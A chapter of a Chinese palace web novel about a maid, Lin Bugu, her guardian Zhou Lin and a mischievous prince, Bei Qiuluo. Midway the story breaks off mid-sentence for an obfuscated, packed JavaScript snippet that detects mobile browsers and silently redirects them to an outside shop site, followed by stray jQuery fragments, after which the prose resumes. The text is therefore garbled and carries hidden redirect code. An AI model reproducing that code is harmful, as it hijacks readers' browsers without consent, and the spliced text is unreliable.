“还知道回来?”
林不枯默默低下头,手老老实实交叠,像个犯错的小孩。
周林面露严色,她握了握手中戒尺,厉声道:“安贵妃找你了半天,还好是没找到,要是找到呢?你该如何呢。”
“罚你好好反省,跪着去。”
说罢,林不枯在周林目视下,小心翼翼去了屋子里,随后拿出一个软垫,放在院子中央跪了上去。
她悄悄抬眼瞅周林,周林依旧板着一张脸,她又赶紧端跪好。
院子铺的是石头,但林不枯垫了层厚厚的软垫,并不难受。
也不是第一次受罚,这次确实过分,她确实该做检讨,但是吧,是对方过分再先。
林不枯有些不服气了。
她抬头看向方才周林站的地方,却看了个空。
“竟真的罚我?”林不枯吃惊。
以往不是意思意思就可以了吗?
“呵呵。”
头顶忽然传来一声轻笑,那人讥讽道:“被罚了?该得你。”
北秋洛还是方才的衣服,兴许一路过来扯到了伤口,一点鲜红的血明晃晃般瘆人。
他好似没事人一样,只顾乐着看林不枯。
林不枯皱眉不解,先看了眼周林屋子毫无动静,才压声说:“我哪里得罪你了吗,为何这般盼我被罚?”
只见北秋洛双手抱胸,岔着腿一副盛气凌人的样子,“要不是你说翻墙,我怎么会被发现!”
林不枯气笑了,手比脑子先反应过来,摸上自个头,嘴角上扬,几次想说却也不知该从哪里说起。
北秋洛见此,更是气不打一处来,越发觉得林不枯就是故意的。
“我,”笑够了,她才缓了缓气,“我是让你钻狗洞,我哪知道你会轻功,还有,我好心帮你,你怎么还倒打一耙。”
刚还兴师问罪的北秋洛有些愣怔,随即他撇撇头,故作严肃道:“那你更要被罚了,万一我是刺客,你就这样帮一个刺客,宫里还不知会有多大隐患。”
闻言,林不枯将他从头到尾看了个遍,毫不客气地嗤笑,仅仅笑而不说话,惹得北秋洛略显气急败坏。
“你笑什么?”
他好似跺了跺脚般,一脸气愤。
听罢,林不枯更是实在绷不太住,笑得更欢了。
而一旁的北秋洛耳根子忽而红了,一双明亮的眼睛忽闪忽闪,最后竟落在林不枯腿下,那个粉红色的软垫与哈哈笑声一齐在他脑子里乱撞。
“你为何被罚还有软垫?”他指了指。
林不枯止住笑,挑眉,“你羡慕了?”
短短四个字,一下子激起北秋洛心底那点莫名的火气。
他浓密的眉毛皱了下,随即上挑,迅雷不及掩耳之势,哗啦一下把垫子抽出来扔进不远处的水池,水池登时溅起大朵大朵浪花。
林不枯瞬间呆在原地,甚至还没意识到自己膝盖有那么一点疼痛了。
一声冷哼,带着点幸灾乐祸,等她去寻声时,那人已经拍拍手轻轻一跃飞走了。
……什么人啊。
跟小学生有何区别?
这种事情她上初中之后就没干过了,这孩子怎么这样?!
长得比她还高了,竟然耍这种把戏?
林不枯气得,已经不知道该用什么形容,她连忙捋捋自己的小心脏,告诉自己不要气不要气,不然乳腺癌找上来。
她站起来,一边往水池走,一边想,她迟早要让那个人吃点苦头。
不过现在不急,因为还不清楚对方的底细,贸然出手没好下场。
虽说古代衣服够长,但此时大夏天的,布料薄薄几层,石头又是又碎又多,方才光顾着气了,现在倒是感受到膝盖处的疼痛。
林不枯一拐一拐,到了水池旁,督了眼,水池里的荷花被吓得不轻,歪歪扭扭斜着。
她垂眸,抬手扶好,又捞起浮出水面的垫子。
垫子里面全是棉花,吸了水,重得慌,林不枯晃晃洒洒水,把怨气全撒出去。
“生气了?”周林突然出现在走廊拐角,手里拿着似乎是成衣。
“林娘是让你长点记性,别气了,来看看林娘给你新缝制的衣服,等入秋了穿。”
原来林娘这么久不出来是在缝制新衣……
林不枯的心忽然有了雾气似的,湿漉漉又软了一大片。
林不枯作势要哭,细柳眉垂下尾,她咬咬唇,“我知道错了。”
“知道错了还把垫子扔水里?我看你是……”
周林话还未完,林不枯张嘴想说什么,话到嘴边却拐了个弯:“不小心啦。”
周林愣了下,忽而笑了,她摇摇头:“好,不小心。来吧,来屋里,试试看,我看看有没有要改的。”
“嗯嗯。”
林不枯乖乖进去,去前把湿了的垫子放地上。
应该不能把刚才的人说出来吧?不然林娘要久久睡不着,警惕许久许久。
兴许以后他不再来了呢。
所以不用告诉林娘。
新衣很合适,林不枯摸了摸布料,疑惑道:“这料子,是咱们能穿的吗?”
“容嬷嬷给的。”
“那我改日去谢谢她。”
林不枯有些意外,她偷偷看了看周林,视线移到那双手上,一双秀工极好的手。
她轻轻晃了晃头,不由感叹,容嬷嬷怕不是睹人思人了。
*
“去哪了?不好好在御花园赏花,跑去哪了?”
皇上端起茶,沏沏,眼皮子也没抬,浑厚的声音却不容置疑。
然而,面前的少年郎丝毫没有在意,只看着御医给他换纱布。
北秋洛全身只剩个素白的里裤,上身赤/裸,远看着像是分层了,头是一个颜色,身子又是一个颜色。
御医战战兢兢,见五皇子还不说话,只好有意无意扯疼五皇子。
这招管用,听得北秋洛倒吸一口凉气,皱眉说:“你轻点。”
“哼,”皇上冷不丁道,“这点疼都受不了,还敢去禁地,若不是你二哥及时赶到,你怕不是小命不保。”
“这伤明明是你打的,”北秋洛赌气,狡辩地说,“还有那不是禁地,要真要说它是禁地,我敢说,过不了多久,整个西北都要成禁地。”
皇上一记冷光射过来,北秋洛抖了下,但不多久,他又狠狠瞪了回去。
“我早晚有一天,要止住黄沙蔓延。”
气氛凝固到了极点,御医凭借祖上传来的心态,愣是稳稳做好自己的事儿。
皇上喝了口茶,看了眼自己的小儿子,眼底复杂。
当年虽说稳住了外敌,但北国内部也有许多事要处理,对皇位虎视眈眈的人不少,为了保护刚出生的北秋洛,他让次子带着襁褓里的孩子去了西北。
远离政治场上的尔虞我诈,北秋洛性子确实更为洒脱,但还是太孩子性了。
若要他在朝廷里生存下去,这般鲁莽的一面必须要磨一磨。
他道:“这几天,哪也不许去,好生在你母后宫里呆着,你有多久没见你母后了,多陪陪她,叙叙旧。”
软禁?
两个字蹭地出现在北秋洛脑子里,他抿抿嘴,低声说:“好。”
宫女为他拿了干净的衣服,柔软的料子,深蓝色穿在身上,那张小脸瞬间更为成熟了点。
“太老成,”皇上简言意骇,“换个亮色的。”
“不要,”北秋洛硬生生憋回去,“我急着去母后那,不换了,改日再换。”
说罢,他转身离开,快步走了两步,余光瞥见身后两道影子。
左一与右一,两个侍卫跟在他后面。
北秋洛看见右一就来气,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792294|210432||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是他扛着北秋洛到皇上跟前。
三个人皆有功夫在身,走得便也快了。
北秋洛大脑转了好几圈,试图逃离二人的“护送”。
……
秋花躲过管事的,趁机翻过矮墙,进了清和居。
夏日的天,太阳落得晚,但七点后要凉爽不少,再有大树做伴,除了蚊子惹人烦,其他还算不错。
周林用了特质的蚊香,插在桌沿,二人围坐在桌子边,桌上三菜一汤,营养颇丰。
“我就知道,你们是不是容嬷嬷家亲戚,对你们这么好,我那吃过这样的饭菜啊。”
秋花立在林不枯旁,说完又对周林笑笑,“周姨,我今儿还真是来蹭饭的,不过么,我也带了好东西。”
林不枯一听,耳朵竖起来,眼睛往秋花背后瞟去。
“小兰兰不许偷懒!”
周林眉头不可置否地挑了上去,望向林不枯。
林不枯尴尬笑笑,没办法,出门在外,还有要有个代号,在秋花那,她叫兰花。
那秋花一听,缘分呐姐妹,我秋花你兰花,我们上辈子是不是闺蜜呀。
林不枯歪身子,非去看秋花背后藏的是啥,秋花偏不。
二人热闹了一阵,众人哈哈笑起。
倏地,秋花紧急收了声。
林不枯疑惑瞧她,“怎么了?”
“你们主子在吗?”
林不枯愣住,见秋花这般压低声音,她便也压着声音说:“我主子,每日贪睡得很,这个点怕是还没醒。”
末了又补充道:“她通常午夜出来活动,因为她不想看见人。”
“别人都说,她是疯了。”
秋花身子紧绷,慌忙坐在凳子上,“停停停,别说了,我晓得了晓得了。”
林不枯憋着笑,故作玄虚,阴阴接着道:“还有啊……”
“咳咳,”周林咳嗽,“吃饭,不能在背后议论主子。”她还加重了主子二字,话里有话。
林不枯见秋花也直点头,便收了自己的恶作剧。
好吧,她耸耸肩:“吃饭!”
蚊香烧得慢,三人吃的也慢,今日原先的活儿全被御花园一出戏给搅和了,但也算有趣。
毕竟如复制粘贴的一天天,终于有了别样的涟漪。
“周姨,你今儿听说了吗,中午御花园有两个小宫女顶撞了安贵人,给安贵人气得到现在还病着。”
林不枯噗嗤一笑,尽力绷住。
周林只摇摇头:“不曾听说。”
“我看未必是病着了,怕是十有八九为了叫皇上去她那。”林不枯咽了秋花带来的点心,随口说。
“我也觉得。”
秋花又说:“不过,皇上根本就没去她那,只叫御医去看看,甚至都没追究那俩小宫女。”
“估计皇上是不信,他估计觉得啊,一场戏罢了。”林不枯仔细分析。
“对对对,我也觉得,还有那个端妃,她竟然一点动作都没有。”
林不枯一听,手托着下巴,蹙眉思考,比做高考数学压轴题还认真。
突然,她伸出一只手指,“绝对”,她肯定道,“绝对在憋一个大招。”
不知怎滴,来了阵风,大树叶子吹响一片,周林放下吃完的饭碗,语重心长地说:“两位,小心隔墙有耳呐。”
说罢,林不枯便笑笑摇摇头,站起身指着围墙说:“林娘,这搁三堵墙也没耳朵。”
秋花捂嘴笑了。
周林默不作声,但也宠溺地看着林不枯。
不知不觉,月亮悄悄上来了,看起来他们聊了许久。
院子里,树上的知了也随着月色渐渐爬上来,叫声一下又一下,烦得北秋洛挥挥手赶走他们。
他肚子饿得很,幽怨地看着月光下那仨人的美食:这么偏僻地方的宫女也能吃的这么好吗?